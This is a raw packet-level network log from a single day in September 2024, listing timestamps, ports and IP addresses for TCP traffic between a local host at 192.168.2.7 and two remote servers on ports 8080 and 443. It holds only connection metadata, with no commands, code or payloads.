Sep 30, 2024 15:50:19.032298088 CEST	49739	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:50:19.038382053 CEST	8080	49739	3.120.98.217	192.168.2.7
Sep 30, 2024 15:50:19.038458109 CEST	49739	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:50:19.038573027 CEST	49739	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:50:19.043343067 CEST	8080	49739	3.120.98.217	192.168.2.7
Sep 30, 2024 15:50:19.172452927 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.172518969 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.172976971 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.172983885 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.174571037 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.174576998 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.266450882 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.266529083 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.266971111 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.266979933 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.268362045 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.268368006 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.274179935 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.274230957 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.274243116 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.274272919 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.274322987 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.274329901 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.274369955 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.274959087 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.275024891 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.277652979 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.277703047 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.277757883 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.277766943 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.277812958 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.283727884 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.283864975 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.283876896 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.284079075 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.286534071 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.286609888 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.286622047 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.286643982 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.286685944 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.301599026 CEST	49737	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.301628113 CEST	443	49737	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.302869081 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.302927017 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.302985907 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.303486109 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.303509951 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.375955105 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.376035929 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.376060963 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.376115084 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.376137972 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.376144886 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.376158953 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.376183987 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.376190901 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.376194954 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.376223087 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.376247883 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.376251936 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.376406908 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.376936913 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.377002001 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.377079964 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.377121925 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.377398968 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.377471924 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.377506971 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.377521992 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.377530098 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.377547026 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.377563953 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.467204094 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.467267036 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.467293978 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.467330933 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.467369080 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.467377901 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.467377901 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.467396975 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.467417002 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.467436075 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.467446089 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.467488050 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.467674017 CEST	49738	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.467689991 CEST	443	49738	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.468327045 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.468364954 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.468630075 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.468923092 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.468941927 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.791245937 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.791368961 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.792193890 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.792205095 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.793478012 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.793486118 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.889775991 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.889940977 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.890054941 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.890113115 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.890141964 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.890219927 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.890219927 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.890232086 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.890356064 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.890599012 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.890650034 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.890662909 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.890708923 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.890714884 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.890728951 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.890769958 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.890846968 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.891438961 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.891499996 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.891577005 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.891585112 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.891680956 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.891822100 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.891861916 CEST	443	49740	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.891961098 CEST	49740	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.892260075 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.892297029 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.892389059 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.892551899 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.892564058 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.951030970 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.951286077 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.954216957 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.954231977 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.954596996 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:19.955154896 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:19.955405951 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.003402948 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.051263094 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.051403999 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.051418066 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.051470041 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.051475048 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.051517010 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.051522017 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.051527023 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.051635027 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.052022934 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.052191019 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.052208900 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.052212954 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.052263021 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.052282095 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.052282095 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.052289009 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.052314043 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.052380085 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.053106070 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.053175926 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.053179979 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.053308010 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.068025112 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.068135977 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.068145037 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.068187952 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.068207979 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.068243027 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.095655918 CEST	49741	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.095683098 CEST	443	49741	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.096230984 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.096277952 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.096378088 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.096551895 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.096575022 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.372143030 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.372253895 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.385678053 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.385710001 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.386048079 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.386152029 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.387195110 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.427409887 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.523848057 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.523910046 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.523921967 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.524009943 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.524327993 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.524393082 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.524400949 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.524406910 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.524486065 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.524646044 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.524724960 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.524733067 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.524967909 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.524979115 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.525207043 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.525557041 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.525624037 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.525712013 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.525718927 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.525835991 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.525846958 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.525958061 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.529050112 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.529530048 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.535284042 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.535408020 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.564207077 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.564299107 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.614692926 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.614842892 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.614876986 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.614907026 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.615369081 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.615411997 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.615647078 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.616641045 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.616641045 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.616641045 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.616661072 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.616674900 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.616777897 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.617400885 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.617456913 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.617486000 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.617647886 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.617647886 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.617676020 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.620307922 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.620316982 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.620482922 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.626641035 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.626703978 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.626734018 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.628036022 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.628036022 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.628067970 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.628319979 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.661561966 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.661576033 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.662851095 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.662861109 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.706043959 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.706114054 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.706114054 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.706125021 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.706171036 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.706196070 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.706202984 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.706235886 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.706235886 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.706253052 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.706316948 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.707494974 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.707511902 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.707685947 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.707685947 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.707695007 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.707801104 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.708729982 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.708748102 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.708844900 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.708853960 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.708966970 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.708966970 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.709794998 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.709813118 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.709877014 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.709883928 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.709923029 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.709923029 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.717592955 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.717670918 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.717683077 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.717792988 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.717825890 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.717842102 CEST	443	49742	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.717864990 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.717950106 CEST	49742	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.719960928 CEST	49744	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.720000982 CEST	443	49744	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.720832109 CEST	49744	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.728014946 CEST	49744	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.728037119 CEST	443	49744	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.757787943 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.757992029 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.758405924 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.758456945 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.758471012 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.758882999 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.758913040 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.758948088 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.758959055 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.758975029 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.759160042 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.766400099 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.766453981 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.766479969 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.766496897 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.766509056 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.766590118 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.768249035 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.768290997 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.768309116 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.768374920 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.768384933 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.768882036 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.775275946 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.775326014 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.845362902 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.845422029 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.845434904 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.845470905 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.845483065 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.845489979 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.845524073 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.845541000 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.845603943 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.845645905 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.845684052 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.845822096 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.845855951 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.845861912 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.845882893 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.845906973 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.846451998 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.846512079 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.846520901 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.846527100 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.846560001 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.846568108 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.846890926 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.847371101 CEST	443	49743	185.199.110.154	192.168.2.7
Sep 30, 2024 15:50:20.847424030 CEST	49743	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:50:20.847431898 CEST	443	49743	185.199.110.154	192.168.2.7
